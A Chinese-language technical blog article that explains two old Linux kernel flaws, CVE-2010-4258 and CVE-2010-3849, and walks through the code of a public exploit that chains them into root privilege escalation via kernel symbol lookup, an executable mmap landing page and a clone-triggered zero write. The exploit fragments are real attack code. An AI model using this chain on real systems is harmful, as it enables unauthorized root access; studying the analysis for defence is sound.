/*

本文章由 莫灰灰 编写，转载请注明出处。  

作者：莫灰灰    邮箱： minzhenfei@163.com

*/

一. 漏洞简介

CVE-2010-4258这个漏洞很有意思，主要思路是如果通过clone函数去创建进程，并且带有CLONE_CHILD_CLEARTID标志，那么进程在退出的时候，可以造成内核任意地址写0的bug。PoC代码利用了多个漏洞来达到权限提升的目的。

二. 前置知识 (进程创建、退出)

1.当fork或者clone一个进程在的时候， copy_process执行如下操作：

static struct task_struct *copy_process(unsigned long clone_flags,
                                        unsigned long stack_start,
                                        struct pt_regs *regs,
                                        unsigned long stack_size,
                                        int __user *child_tidptr,
                                        struct pid *pid,
                                        int trace)
{
        p->set_child_tid = (clone_flags & CLONE_CHILD_SETTID) ? child_tidptr : NULL;
        /*
         * Clear TID on mm_release()
         */
        p->clear_child_tid = (clone_flags & CLONE_CHILD_CLEARTID) ? child_tidptr: NULL;
}

2.应用层调用clone函数，并传递CLONE_CHILD_CLEARTID标志，则child_tidptr指针就会被赋值给子进程的clear_child_tid

clone((int (*)(void *))trigger,
              (void *)((unsigned long)newstack + 65536),
              CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
              &fildes, NULL, NULL, child_tidptr);

/*
* If we're exiting normally, clear a user-space tid field if
* requested.  We leave this alone when dying by signal, to leave
* the value intact in a core dump, and to save the unnecessary
* trouble, say, a killed vfork parent shouldn't touch this mm.
* Userland only wants this done for a sys_exit.
*/
if (tsk->clear_child_tid) {
	if (!(tsk->flags & PF_SIGNALED) &&
	    atomic_read(&mm->mm_users) > 1) {
		/*
		 * We don't check the error code - if userspace has
		 * not set up a proper pointer then tough luck.
		 */
		put_user(0, tsk->clear_child_tid);
		sys_futex(tsk->clear_child_tid, FUTEX_WAKE,
				1, NULL, NULL, 0);
	}
	tsk->clear_child_tid = NULL;
}

4.put_user其实是一个宏，具体是__put_user_check函数，它会将tsk->clear_child_tid的值置为0

#define __put_user_check(x,ptr,size)				({									long __pu_err = -EFAULT;					__typeof__(*(ptr)) __user *__pu_addr = (ptr);			__typeof__(*(ptr)) __pu_val = x;				if (likely(access_ok(VERIFY_WRITE, __pu_addr, size)))			__put_user_size(__pu_val, __pu_addr, (size),					__pu_err);				__pu_err;						})

#define access_ok(type,addr,size)	_access_ok((unsigned long)(addr),(size))

int _access_ok(unsigned long addr, unsigned long size)
{
	if (!size)
		return 1;

	if (!addr || addr > (0xffffffffUL - (size - 1)))
		goto _bad_access;

	if (segment_eq(get_fs(), KERNEL_DS))
		return 1;

	if (memory_start <= addr && (addr + size - 1) < memory_end)
		return 1;

_bad_access:
	pr_debug("Bad access attempt: pid[%d] addr[%08lx] size[0x%lx]\n",
		 current->pid, addr, size);
	return 0;
}

if (segment_eq(get_fs(), KERNEL_DS))
return 1;

# define get_fs() (current_thread_info()->addr_limit)

如果get_fs() = KERNEL_DS，那么_access_ok检查始终返回1.

三. 前置知识（无效地址访问异常）

每当我们访问一个无效地址的时候，系统便会执行do_page_fault去生成异常日志，结束异常进程等。

int do_page_fault(struct pt_regs *regs, unsigned long address,
		  unsigned int write_access, unsigned int trapno)
{
	// ......
	die("Oops", regs, (write_access << 15) | trapno, address);
	do_exit(SIGKILL);
}

接下来看看CVE-2010-3849这个漏洞，它主要是一个0地址访问异常漏洞，msg->msg_name可以由用户空间控制，因此可以是个NULL值。接下来的saddr->cookie;这句调用就会造成0地址访问异常。

static int econet_sendmsg(struct kiocb *iocb, struct socket *sock,
                          struct msghdr *msg, size_t len)
{       
      struct sock *sk = sock->sk;
      struct sockaddr_ec *saddr=(struct sockaddr_ec *)msg->msg_name;
                
      eb->cookie = saddr->cookie;
}

四. 漏洞利用

1.获取需要用到的函数地址

 /* Resolve addresses of relevant symbols */
 printf("[*] Resolving kernel addresses...\n");
 econet_ioctl = get_kernel_sym("econet_ioctl");
 econet_ops = get_kernel_sym("econet_ops");
 commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
 prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");

if(!(newstack = malloc(65536))) {
                printf("[*] Failed to allocate memory.\n");
                return -1;
        }

// econet_ops中保存了各个econet函数的地址指针，
// 10 * sizeof(void *)到达econet_ioctl的下一个函数地址
// 再-1，那么清零的时候是清掉了econet_ioctl下个函数地址的高24字节和econet_ioctl函数的高8字节
target = econet_ops + 10 * sizeof(void *) - OFFSET;
 
// 清掉econet_ioctl函数的高8字节
landing = econet_ioctl << SHIFT >> SHIFT;

// landing按页对齐，map了2个页的内存
payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
                       PROT_READ | PROT_WRITE | PROT_EXEC,
                       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
 
if ((long)payload == -1) {
           rintf("[*] Failed to mmap() at target address.\n");
           return -1;
}

// 将提权代码拷贝到landing
memcpy((void *)landing, &trampoline, 1024);

可以调用查看下系统最低映射的地址，我这里是65536

4.clone进程

// trigger用来触发CVE-2010-3849漏洞，是一个0地址访问异常
int trigger(int * fildes)
{
        int ret;
        struct ifreq ifr;
 
        memset(&ifr, 0, sizeof(ifr));
        strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
 
        ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
 
        if(ret < 0) {
                printf("[*] Failed to set Econet address.\n");
                return -1;
        }
 
        splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
        splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
 
        /* Shouldn't get here... */
        exit(0);
}

// clone进程，子进程调用trigger触发0地址访问的漏洞，进而将target指向的地址清0
// 即清掉了econet_ioctl函数地址的高8字节
clone((int (*)(void *))trigger,
              (void *)((unsigned long)newstack + 65536),
              CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
              &fildes, NULL, NULL, target);

sleep(1);
printf("[*] Triggering payload...\n");
ioctl(fildes[2], 0, NULL);

参考文章：

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4258

http://www.exploit-db.com/exploits/15704/

http://hi.baidu.com/wzt85/item/2467d70f893700133a53eed9